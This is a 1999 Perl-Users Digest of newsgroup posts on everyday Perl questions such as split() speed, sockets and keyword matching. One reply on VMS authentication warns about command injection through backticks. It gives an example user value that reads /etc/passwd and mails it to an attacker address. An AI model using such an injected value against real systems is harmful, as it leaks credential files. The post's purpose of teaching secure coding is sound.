[13848] in Perl-Users-Digest
Perl-Users Digest, Issue: 1258 Volume: 9
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue Nov 2 18:10:29 1999
Date: Tue, 2 Nov 1999 15:10:18 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <941584218-v9-i1258@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Tue, 2 Nov 1999 Volume: 9 Number: 1258
Today's topics:
Re: It is always like this here? <cassell@mail.cor.epa.gov>
Re: It is always like this here? <cassell@mail.cor.epa.gov>
Re: Lightweight perl web server for win9x? <gellyfish@gellyfish.com>
Re: making a variable length string (Jim Matzdorff)
Re: Need routine to find banned or "Bad" words <gellyfish@gellyfish.com>
Re: Non-ASCII report output <gellyfish@gellyfish.com>
Perl and Excel Charting <pws@col.hp.com>
Re: Perl and Novell Netware <gellyfish@gellyfish.com>
Re: perl JS interpreter? counting keywords? <ltl@rgsun5.viasystems.com>
Re: Perl Newbie <cassell@mail.cor.epa.gov>
Perl's hashing algorithm (Ran Shoham)
Re: Recursive Directory Search <gellyfish@gellyfish.com>
Re: Scripts that invoke one another via Location: and/o <gellyfish@gellyfish.com>
Socket communication using IO::Socket (sending/receivin <NOSPAMbubba@titan.ndhm.gtegsc.com>
Re: speeding up split() (Kragen Sitaker)
Re: strange Perl incompatibility (NT & UNIX) <rootbeer@redcat.com>
Re: string number conversion <uri@sysarch.com>
Re: Update table <cassell@mail.cor.epa.gov>
Re: VMS user authentication <rootbeer@redcat.com>
Re: Writing to a dead socket does not cause SIGPIPE <rootbeer@redcat.com>
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Tue, 02 Nov 1999 15:02:59 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: It is always like this here?
Message-Id: <381F6DA3.3ABD438D@mail.cor.epa.gov>
Jon Shemitz wrote:
[snip]
> No, no smiley needed. In between paying work, I'm working on a search
> engine for my site; I could probably adapt it to the FAQ without too
> much trouble, perhaps before the end of the year. If y'all promise not
> to laugh at my code.
Oh, we won't laugh. We'll just carp and critique and nitpick,
as we do with everyone else's code. :-)
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Tue, 02 Nov 1999 15:04:54 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: It is always like this here?
Message-Id: <381F6E16.DD5889EA@mail.cor.epa.gov>
Bart Lateur wrote:
[snip]
> Don't say "get professional help". Let people try for themselves, with
People who know me have been telling me to get professional
help for many years now.
> some handholding. They will soon enough find out if they're cut out for
> the task, or not.
>
> Of course, for really mission-critical stuff, you *should* get
> professional help. But some DIY-ing must be permitted. Or do you run to
> the doctor every time your throat hurts a little?
Yes. My father's an M.D.
> [Disclaimer: most of what I wrote here, does *not* apply to David
> Cassell in person.]
<Bugs Bunny>
He don't know me vewy well...
</Bugs Bunny>
:-)
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: 1 Nov 1999 20:58:56 -0000
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Lightweight perl web server for win9x?
Message-Id: <7vkuug$4fc$1@gellyfish.btinternet.com>
On Mon, 1 Nov 1999 13:40:56 -0000 Seyed Razavi wrote:
> Hi,
>
> This may not be the right place or it may already be answered somewhere so
> could you pont me in the right direction?
>
You will want to ask this in comp.infosystems.www.servers.ms-window
/J\
--
Jonathan Stowe <jns@gellyfish.com>
<http://www.gellyfish.com>
Hastings: <URL:http://dmoz.org/Regional/UK/England/East_Sussex/Hastings>
------------------------------
Date: 02 Nov 1999 22:59:28 GMT
From: syran@best.com (Jim Matzdorff)
Subject: Re: making a variable length string
Message-Id: <381f6cd0$0$216@nntp1.ba.best.com>
In article <MPG.1287dbd8c678339698a17c@nntp.hpl.hp.com>,
Larry Rosler <lr@hpl.hp.com> wrote:
>Immediately, I think of the 'x' operator.
Ack. Yes, I have now been reminded. I wash trying to do something with
the pack operator, which also uses 'x', but I completely forgot that it
can be used on string alone. Which, obviously, makes this problem
simple.
><SNIP> of agreedly ugly code, which doesn't even compile because of a
>missing semicolon after 'use strict'. :-)
Hmm... compiles fine for me. I agree, of course, it's wrong. but:
prompt> perl icky 10 5
SS 111110000000000 (15)
prompt> cat icky
#!/usr/local/bin/perl -w
use strict
$::initial_length = $ARGV[0];
$::num_ones = $ARGV[1];
(etc)....
Any reason it should work?
--jim
--
--
If life is a waste of time, and time is a waste of life,
then let's all get wasted together and have the time of our lives.
------------------------------
Date: 1 Nov 1999 21:05:50 -0000
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Need routine to find banned or "Bad" words
Message-Id: <7vkvbe$4fk$1@gellyfish.btinternet.com>
On Mon, 01 Nov 1999 11:58:31 -0800 David Cassell wrote:
> Geoff Roberts wrote:
>
>> I was after a routine that I could use to look up either reserved or
>> banned words (eg. rude or offensive words and system reserved words).
>> This is primarily for logins and email addresses.
>>
>> Does anyone know of such a routine? Does anyone also know of any
>> dictionary files that might contain such words?
>
> This has been discussed here before. I don't recall any such
> list, or any pointer to a list. You'll just have to make up your
> own. But consider how you'll handle these usernames:
>
> $h!thead
> f_u_c_k_y_o_u
> fsck_my_disk [this is a legal request to a helpdesk, too]
>
and think of the poor burghers of Scunthorpe too ...
/J\
--
Jonathan Stowe <jns@gellyfish.com>
<http://www.gellyfish.com>
Hastings: <URL:http://dmoz.org/Regional/UK/England/East_Sussex/Hastings>
------------------------------
Date: 1 Nov 1999 21:02:16 -0000
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Non-ASCII report output
Message-Id: <7vkv4o$4fh$1@gellyfish.btinternet.com>
On 01 Nov 1999 10:03:05 -0600 Don Thomson wrote:
> I'm in the process of replacing a Microsoft Access application with a
> Perl script running on a UNIX box. The end users are used to report
> output that looks a bit fancier than the plain ASCII output that I
> already know how to produce. Any suggestions for modules that would
> allow me to produce graphical lines/boxes/etc. while writing a report?
Yeah troff, PostScript, LaTex - none of which have anything to do with
Perl but can easily be printed by a Perl program ...
/J\
--
Jonathan Stowe <jns@gellyfish.com>
<http://www.gellyfish.com>
Hastings: <URL:http://dmoz.org/Regional/UK/England/East_Sussex/Hastings>
------------------------------
Date: Tue, 2 Nov 1999 15:47:53 -0700
From: "Paul Schwotzer" <pws@col.hp.com>
Subject: Perl and Excel Charting
Message-Id: <7vnpmq$9lj$1@nonews.col.hp.com>
Anyone used Perl to access Excel's Automation interface and
programmatically create charts/graphs from comma-separated data files?
I'm looking to automate a data gathering and display process which
currently relies upon manually loading Excel, making the graphs and
exporting them as HTML pages.
Thanks, Paul Schwotzer
------------------------------
Date: 1 Nov 1999 22:10:17 -0000
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Perl and Novell Netware
Message-Id: <7vl34a$4h4$1@gellyfish.btinternet.com>
On Mon, 01 Nov 1999 01:30:14 +0000 DGJ wrote:
>
> I have seen a Perl NLM which can be used on Novell, but is it possible
> to use Active Perl to do the same type of thing?
>
Not on Netware you cant - You could of course run Activeperl on some Win32
machine (or even better make some modest Linux machine and run Perl there).
/J\
--
Jonathan Stowe <jns@gellyfish.com>
<http://www.gellyfish.com>
Hastings: <URL:http://dmoz.org/Regional/UK/England/East_Sussex/Hastings>
------------------------------
Date: 2 Nov 1999 20:26:24 GMT
From: lt lindley <ltl@rgsun5.viasystems.com>
Subject: Re: perl JS interpreter? counting keywords?
Message-Id: <7vnhdg$rg3$1@rguxd.viasystems.com>
Larry Rosler <lr@hpl.hp.com> wrote:
:>#!/usr/local/bin/perl -w
:>use strict;
:>my %sk = (
:> cool => 'cool|nice|super|rad|kick-ass',
:> new => 'new|novel|state-of-the-art',
:> none => 'no|matches|here',
:>);
my %sk = (
cool => qr{\b(?:cool|nice|super|rad|kick-ass)\b},
new => qr{\b(?:new|novel|state-of-the-art)\b},
none => qr{\b(?:no|matches|here)\b},
);
:>sub score { # $data: string where to look for keywords
:> my %s;
:> for (keys %sk)
:> { ++$s{$_} while $_[0] =~ /\b(?:$sk{$_})\b/g }
{$s{$_} = 0; ++$s{$_} while $_[0] =~ /$sk{$_}/g }
If you don't initialize the counter, then you will have to go to
some extra trouble later on to print 0 for those categories with no
matches because they will not have any entries in the hash %s.
That may not have been part of the initial requirements, so chalk
it up to nitpicking.
I prefer to store the qr{} compiled expressions in the hash instead
of the strings. It doesn't make any difference performance-wise in
this example. But if you call the score subroutine more than once
during the lifetime of the program, storing the quoted (and compiled
for some definition of compiled) regular expressions is an
improvement.
:> \%s # one count per keyword category
:>}
:>my $counts = score('This is a rad super new novel kick-ass string.');
:>print map "$_ -> $counts->{$_}\n" => keys %$counts;
:>__END__
:>Output:
:>new -> 2
:>cool -> 3
With my addition you would also get
none -> 0
--
// Lee.Lindley /// I used to think that being right was everything.
// @bigfoot.com /// Then I matured into the realization that getting
//////////////////// along was more important. Except on usenet.
------------------------------
Date: Tue, 02 Nov 1999 14:51:59 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Perl Newbie
Message-Id: <381F6B0F.15342A15@mail.cor.epa.gov>
Andrew Longworth wrote:
>
> I have never used perl before and need to write some perl. Does anyone know
> where I can find info on the web. (tutorials etc.)
I suggest you check out this tutorial:
http://www.netcat.co.uk/rob/perl/win32perltut.html
Then you may want to get a good text like:
"Learning Perl" or "Learning Perl for win32 Systems"
by Schwartz _et_al._
"Elements of Programming with Perl" by Andrew Johnson
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: 2 Nov 1999 22:34:44 GMT
From: rshoham@acs5.acs.ucalgary.ca (Ran Shoham)
Subject: Perl's hashing algorithm
Message-Id: <7vnou4$hfm$1@nserve1.acs.ucalgary.ca>
Where can I find out more information about the Hashing algorithm that
Perl has built into it?
I would like to know more about the algorithm used, as well as the hash
table is accessed everytime I call upon it.
(that is, does the entire hash table get called? or just a small part at
a time?)
Any info would be appreciated,
Ran
(rshoham@acs.ucaltgary.ca)
--
-----------------
| Cat's Ass man!|
-----------------
("`-''-/").___..--''"`-._
`0_ 0 ) `-. ( ).`-.__.`)
(_Y_.)' ._ ) `._ `. ``-..-'
_..`--'_..-_/ /--'_.' ,'
(((' (((-((('' ((((
------------------------------
Date: 2 Nov 1999 20:54:25 -0000
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Recursive Directory Search
Message-Id: <7vnj21$568$1@gellyfish.btinternet.com>
On Tue, 2 Nov 1999 08:57:11 -0500 Jeff Pinyan wrote:
>
> Sigh. Many people think ActivePerl and Perl are really different. Ok, so
> flock() doesn't work,
>
Er, yes flock() doesnt work on win9[58] but does on NT I believe.
/J\
--
Jonathan Stowe <jns@gellyfish.com>
<http://www.gellyfish.com>
Hastings: <URL:http://dmoz.org/Regional/UK/England/East_Sussex/Hastings>
------------------------------
Date: 1 Nov 1999 21:59:21 -0000
From: Jonathan Stowe <gellyfish@gellyfish.com>
Subject: Re: Scripts that invoke one another via Location: and/or URI: - environment persistence?
Message-Id: <7vl2fp$4gv$1@gellyfish.btinternet.com>
On Thu, 28 Oct 1999 14:51:11 -0700 Larry Rosler wrote:
> In article <3818b682.156317366@news.montanavision.net> on Thu, 28 Oct
> 1999 21:19:13 GMT, Ben Blish <bblishA@TblackbeltDO.Tcom> says...
>> On 28 Oct 1999 03:46:58 -0500, abigail@delanet.com (Abigail) wrote:
>>
>> >Logfiles are, of course, always available. You just made a mistake by
>> >using a service that doesn't give you want you want.
>
> ...
>
> No, logfiles are *not* always available. Here at HP Labs, despite my
> warm relationship with the webmaster, NO WAY would he allow me access to
> the server logs, which are viewed as proprietary.
>
> When the need arose, I set up a sophisticated webcounting system that
> now has several hundred satisfied users. It uses various techniques to
> deal with proxying and caches -- the things that folklore here says make
> counters useless.
>
Yeah, but *your* counter isnt going to be some '<IMG SRC="counter.cgi">'
bollocks that you got from Scripts'R'Us now is it ? I dont believe that
anyone is saying that by sophisticated analysis of the available infromation
that some useful metric cant be had - I think that what people take issue
with is the usefulness of simply counting the number of times that a
page has been loaded.
Anyhow I still dont understand the other logging business - using Apache it
takes one line to add a separate log for a virtual host ...
/J\
--
Jonathan Stowe <jns@gellyfish.com>
<http://www.gellyfish.com>
Hastings: <URL:http://dmoz.org/Regional/UK/England/East_Sussex/Hastings>
------------------------------
Date: Tue, 02 Nov 1999 17:22:57 -0500
From: "J.Z. Brody" <NOSPAMbubba@titan.ndhm.gtegsc.com>
Subject: Socket communication using IO::Socket (sending/receiving)
Message-Id: <381F6441.5E63075D@titan.ndhm.gtegsc.com>
(Yes I've read the perlipc)
I'm having a hard time grasping comm between server and clients.
Server: Listens on a port for a connection from client - got that.
Client: Connects to server - got that too.
Problem:
How - on connect - the client is challenged for password/code and
responds. After which the server determines if the correct pasword/code
has been given. If yes, then get list of instructions for processing on
the serverside.
i've been tooling around with $socket->send() and $socket->recv() with
little success. There just too little documentation that I can find
describing these functions. Plus there's who's talking now and to
control the flow.
A pointer to docs on the web would be much appreciated. Even a pointer
to a sample like system that I could learn from.
-Thanx
------------------------------
Date: Tue, 02 Nov 1999 22:53:56 GMT
From: kragen@dnaco.net (Kragen Sitaker)
Subject: Re: speeding up split()
Message-Id: <8YJT3.22495$23.1157146@typ11.nn.bcandid.com>
In article <Pine.GSO.4.10.9911020858350.29670-100000@user2.teleport.com>,
Tom Phoenix <rootbeer@redcat.com> wrote:
>On Mon, 1 Nov 1999, TK Soh wrote:
>
>> I am trying to speed up the split() statement in my program that has
>> to split a tab-delimited file in to arrays of about 1200 elements for
>> each line.
>
>Wow, that's a lot of elements. My guess is that it's slow to allocate 1200
>scalars like that.
>
>> BTW, my home brewed split function with XSUB, though works, was too
>> slow to mention.
>
>You're probably allocating 1200 scalars there, too. :-)
>
>Here's a technique to consider. It may be faster or slower, but don't test
>it by itself - it's whether it's faster or slower as you use it that
>matters. (More about this in a moment.)
>
>Have your XSUB keep two chunks of memory. One is the original string, and
>the other is the table of field-starts within the string. (That is, it's a
>C array showing the positions of tab characters. I'm sure you can see that
>it should be quite fast in C to build this table.)
I remember comparing a httpd log analysis program a friend wrote in C
to one I wrote in Perl. My Perl version took an hour to write,
compared to several hours for the C version, and was much shorter and
clearer. It also ran ten times slower. The C program was doing this
-- except it didn't even bother to remember where fields started. It
simply searched for the nth space each time.
I suspect my Perl version was slower for exactly this reason.
>When you need an element from the array, your XS code will be able to
>pluck it from the string very quickly. You can make this a tied array
>(read only), but I don't know how much overhead that would add.
I wrote a tied-array package that does something like this for
fixed-width-field strings just a month or two ago, and posted it here,
in response to someone else's question. It was in pure Perl, so it
probably wouldn't be very fast.
A C version of this could be very, very useful.
--
<kragen@pobox.com> Kragen Sitaker <http://www.pobox.com/~kragen/>
Tue Nov 02 1999
6 days until the Internet stock bubble bursts on Monday, 1999-11-08.
<URL:http://www.pobox.com/~kragen/bubble.html>
------------------------------
Date: Tue, 2 Nov 1999 13:18:51 -0800
From: Tom Phoenix <rootbeer@redcat.com>
Subject: Re: strange Perl incompatibility (NT & UNIX)
Message-Id: <Pine.GSO.4.10.9911021310570.29670-100000@user2.teleport.com>
On Tue, 2 Nov 1999, Re'em Bar wrote:
> $title=~s/($search)/<b>\1<\/b>/gi;
Is your space bar broken? :-)
You don't have warnings turned on, do you? That would help. Also, is
$search a pattern? And do you expect to find more than one non-overlapping
copy of it in $title? And could $title already have any <b> or </b> tags
in it? Of course, that last gets into HTML issues....
> if($1 || $results[0]){
Do you know what $1 will be after using s/// with the g option? Maybe you
want to do the s/// inside the conditional of the if. And do you perhaps
want @results rather than $results[0]?
> print "<font size=4>$title<br><font size=3>";
It's generally a good idea to indent properly. See the perlstyle manpage.
And if this were a newsgroup about HTML, I'd make another comment. But it
ain't, so I won't. :-)
> foreach $match(@results){
> $match=~s/($search)/<b>\1<\/b>/gi;
> print"$match<br>";
> }
> }
>
> now, with the Apache server on my computer, using Active Perl, it works
> fine.
> on the Linux host of my site, the results are printed only if there is a
> match in the text ($results[0] ne "") but not if there is a match in the
> title only ($1 ne "")
Could $1 ever be "0"? Do you know what it will be if the s/// fails? Could
you have different versions of Perl on the two machines? But maybe when
you fix the other problems with your code, you'll get this to work.
Good luck!
--
Tom Phoenix Perl Training and Hacking Esperanto
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
------------------------------
Date: 02 Nov 1999 16:13:19 -0500
From: Uri Guttman <uri@sysarch.com>
Subject: Re: string number conversion
Message-Id: <x7u2n48uml.fsf@home.sysarch.com>
>>>>> "LR" == Larry Rosler <lr@hpl.hp.com> writes:
LR> In article <x7wvs18giz.fsf@home.sysarch.com> on 02 Nov 1999 03:05:40 -
LR> 0500, Uri Guttman <uri@sysarch.com> says...
>> >>>>> "LR" == Larry Rosler <lr@hpl.hp.com> writes:
>>
LR> BTW, these ?: are sequential, not nested. Nested are decidedly less
LR> dandy.
>>
>> what is your meaning of sequential vs nested?
>> if one of the return values of ?: is another, it is nested. i bet you
>> mean if it is the left one it is nested but the right one it is
>> sequential.
LR> Yes.
well i figured out what you meant on my own.
>> either way it is hard to grok by humans so it is poor
>> code.
LR> NO!
well i will agree that sequential better than nested but using only one
is better than sequential. i can see uses for it but rare in my book.
LR> Not the first time we have disagreed on style, is it?
nor the last!
>> i was going to call you a gonif, but i held back.
LR> No, please, a researcher (shades of The Great Lobachevsky).
ahh, tom lehrer. he needs to be mentioned in geek circles more.
so are you bragging about your plagiarism? where did you get the text
for you half of the sort paper? from knuth? you, you, researcher!!
uri
--
Uri Guttman --------- uri@sysarch.com ---------- http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page ----------- http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net ---------- http://www.northernlight.com
------------------------------
Date: Tue, 02 Nov 1999 14:49:56 -0800
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Update table
Message-Id: <381F6A94.FE7253C4@mail.cor.epa.gov>
Lasse wrote:
>
> Hi
Howdy
> I'm trying to update one cell in a table, instead of using frames.
Does that mean that you're using a table to do your formatting?
Not an optimal approach. I would say more, but you really
ought to take that issue up with the folks in
comp.infosystems.www.authoring.html
> I know that I read something about this, but I cant remember if it can be done or not.
> I'm writing perl / CGI aand don't want to be on the wrong track.
> Please give me a hint of how to do, if possible.
I think you ought to be using the CGI.pm module. Then you
can format and fill your tables on the fly, and change a
variable here and there to modify your table.
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Tue, 2 Nov 1999 13:06:31 -0800
From: Tom Phoenix <rootbeer@redcat.com>
Subject: Re: VMS user authentication
Message-Id: <Pine.GSO.4.10.9911021254580.29670-100000@user2.teleport.com>
On Tue, 2 Nov 1999, Matt Williamson wrote:
> $pwd = (getpwuid(`id -u $FORM{'user'}`))[1];
I think you can do this without the backticks - which won't just make it
faster, but more secure as well. (What happens if the 'user' is
'fred|cat /etc/passwd|mail baddie@somesite.edu|echo 123'?)
$pwd = (getpwnam $FORM{user})[1]
or die "Invalid user: $FORM{user}";
Note that this disallows users not in the password database.
> I'm not particularly familiar with the VMS operating system (read
> quasi-ignorant). Is there an analogous way to do this under OpenVMS?
If there is, this should probably be how to do it. That is, in general,
Perl lets you pretend you're on a Unix system when it can. readlink() on a
Macintosh alias works like readlink() does on a Unix symbolic link.
flock() on a system which uses lockf(2) works as if your system has
flock(2) (as much as possible). So Perl on VMS should do the right thing.
If it doesn't, submit a patch. :-)
Cheers!
--
Tom Phoenix Perl Training and Hacking Esperanto
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
------------------------------
Date: Tue, 2 Nov 1999 12:53:39 -0800
From: Tom Phoenix <rootbeer@redcat.com>
Subject: Re: Writing to a dead socket does not cause SIGPIPE
Message-Id: <Pine.GSO.4.10.9911021252100.29670-100000@user2.teleport.com>
On Tue, 2 Nov 1999 krotfrog@my-deja.com wrote:
> I am writing a simple client-server perl application.
> The client connects to a TCP socket, and server sends
> a messages to it. When client dies, one more message
> from server can be sent not causing SIGPIPE.
I'm not an expert on sockets, so I don't know whether this is to be
expected. But here's something to try: If you write a test program in C,
does it show the same behavior?
If this happens with Perl but not with C, use the perlbug program to file
a bug report.
Cheers!
--
Tom Phoenix Perl Training and Hacking Esperanto
Randal Schwartz Case: http://www.rahul.net/jeffrey/ovs/
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V9 Issue 1258
**************************************
